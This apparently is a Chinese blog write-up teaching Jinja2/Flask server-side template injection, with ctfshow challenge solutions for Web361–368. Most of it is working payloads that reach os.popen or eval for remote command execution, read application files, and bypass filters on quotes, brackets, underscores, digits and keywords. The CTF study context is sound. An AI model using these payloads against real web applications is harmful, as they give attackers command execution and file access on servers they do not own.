ctfshow-SSTI
SSTI模板注入
参考文档
SSTI进阶:https://blog.csdn.net/miuzzx/article/details/110220425
SSTI入门
SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎。
模板只是一种提供给程序来解析的一种语法,通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
常见的模板引擎如下
1 | PHP: Smarty, Twig, Blade |
Flask框架
Flask框架使用的模板是Jinja2,在给出模板渲染代码之前,我们先在本地构造一个html界面作为模板,也就是模板渲染代码的相同位置下,有一个名templates
的文件夹,在里面写入一个index.html文件,内容如下:
1 |
|
1 | from flask import * |
Get方式提交参数?name=Diana运行即可
SSTI成因
如果程序员偷懒,把两个文件合并到一个文件中,就会导致SSTI注入漏洞
1 | from flask import Flask,request,render_template_string |
此时如果传入?name=21则会出现
这是因为"{{}}"包裹的内容会被渲染,3*7被当作了一个python表达式进行计算,计算的结果被格式化输出到%s处,最后导致显示结果为Hello,21!
Python语法知识
SSTI中可能用到的语法知识
下划线包裹的是魔术方法
1 | __class__ 查看对象所在的类 |
Jinja2一些语句
"{%%}"可以用来声明变量,也可以用于循环语句和条件语句1 | <!---test.html---> |
1 | # app.py |
一些可能会用到的函数
1 | length():获取一个序列或者字典的长度并将其返回 |
管道符号可以参考官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters
Payload构造
第一步:查找基类
1 | "".__class__.__mro__[-1] |
第二步:查找基类的子类
1 | {{"".__class__.__mro__[-1].__subclasses__()}} |
os._wrap_close
类
大多数情况下,我们会利用<class os._wrap_close>
这个类
可以用以下脚本来查找下标,具体视情况更改脚本内容
1 | import requests |
接下来我们利用<class os._wrap_close>
这个类中的popen
方法。
调用__init__
方法初始化类
1 | {{"".__class__.__bases__[0]. __subclasses__()[138].__init__}} |
然后使用__global__
方法获取以字典形式返回的方法和属性
1 | {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cmd').read()}} |
cmd即为需要执行的命令,实现rce。
popen
:https://blog.csdn.net/Z_Stand/article/details/89375589
__builtins__
模块
还有一个常用的模块就是__builtins__
,它里面有eval() open()
等函数,我们可以也利用它来进行RCE
它的payload是
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}} |
读取文件的payload
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %} |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}}{% endif %}{% endfor %} |
SSTI常见的绕过方式
绕过.
1 | 1.用[]代替. |
绕过[]
可以使用__getitem__
方法,用()代替[]
1 | __bases__[0] 等价于 __bases__.__getitem__(0) |
绕过_
1 | 1、通过list获取字符列表,然后用pop来获取_,举个例子 |
绕过"{{}}"
有时候为了防止SSTI,可能程序员会ban掉"{{}}",这个时候我们可以利用jinja2的语法,用"{%%}"来进行RCE。
1 | {%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%} |
for循环配合if语句
1 | {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print (i.__init__.__globals__['popen']('dir').read())%}{%endif%}{%endfor%} |
绕过''
和""
利用request.args.a传入参数绕过
1 | {{url_for.__globals__[request.args.a]}}&a=__builtins__ 等价于 {{url_for.__globals__['__builtins__']}} |
绕过args
如果args也被过滤了,那我们就利用requests.cookies
和requests.values
1 | Get传参 {{url_for.__globals__[request.cookies.a]}} |
然后打开F12修改 Cookie: "a" :__builtins__
绕过数字
利用过滤器和管道符号绕过
官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters
1 | {{(dict(a=1,b=1,c=1)|join|count)}} 等价于 {{3}} |
字典中变量个数就是需要构造的数字个数,原理是通过join()函数把字典变成字符串,然后用count()函数统计字符串长度
绕过关键字
有时候class,base等关键词也会被过滤,我们同样可以通过join()函数拼接绕过
1 | {{dict(__in=a,it__=a)|join} 等价于 __init__ |
另外也可以使用~
连接字符,~
是jinja2中的连接符,可以连接变量
和字符
1 | {{"__in"~"it__"}} 等价于 __init__ |
unicode编码绕过
CTF show SSTI刷题
Web361
没有任何过滤
1 | ?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
Web362
过滤了数字2和3
第一种payload
直接构造数字,利用乘法得到132(一般os._wrap._close
类都在132)
1 | ?name={{"".__class__.__base__.__subclasses__()[(dict(a=1,b=1)|join|count)*66].__init__.__globals__['popen']('cat /flag').read()}} |
第二种payload
过滤器,先把变量b赋值为2
1 | ?name={%set b=(dict(b=c,c=d)|join|count)%}{{''.__class__.__base__.__subclasses__()[66*b].__init__.__globals__['popen']('tac /f*').read()}} |
第三种payload
利用__builtins__
模块,x可以是任意字母
1 | ?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}} |
Web363
过滤了单引号和双引号
利用os._wrap_close
1 | ?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /f* |
利用__builtins__
1 | ?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /f*').read() |
Web364
过滤了单引号,双引号以及args
那就利用cookies
1 | ?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}} |
打开f12修改cookies。a:popen, b:cat /f*
Web365
在上一题的基础上过滤了中括号
1 | ?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read() |
参数逃逸,也可以修改cookies
Web366
开始过滤下划线,我们可以开始使用attr()过滤器进行绕过
attr()过滤器的用法
1 | foo | attr('bar') 等价于 foo['bar'] |
还是要多读文档,这两个东西是等价的
1 | ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag |
Web367
过滤了os,继续参数逃逸
1 | ?name={{(lipsum|attr(request.values.a))|attr(request.values.b)}}&a=__globals__&b=os.popen('cat /flag').read() |
由于attr获取属性,所以使用这段payload没有回显,应该用以下这段payload
1 | ?name={{(lipsum|attr(request.values.c)).get(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag&c=__globals__ |
Web368
过滤了花括号,那就使用"{%%}"来执行python语句
1 | ?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag |
Web369
后面题目比较刁钻,有空再更新
一点小插曲
Hexo使用Nunjucks
这个模板引擎,同样使用"{{}}"和"{%%}"来包裹变量,因此在写完这篇博客进行上传操作时,hexo出现了报错,可谓是SSTI现身说法了。
解决方法:https://blog.csdn.net/Calvin_zhou/article/details/109303640
8.19
不知道为什么之前的md没有保存,又出现了渲染错误。
ctfshow-SSTI
install_url
to use ShareThis. Please set it in _config.yml
.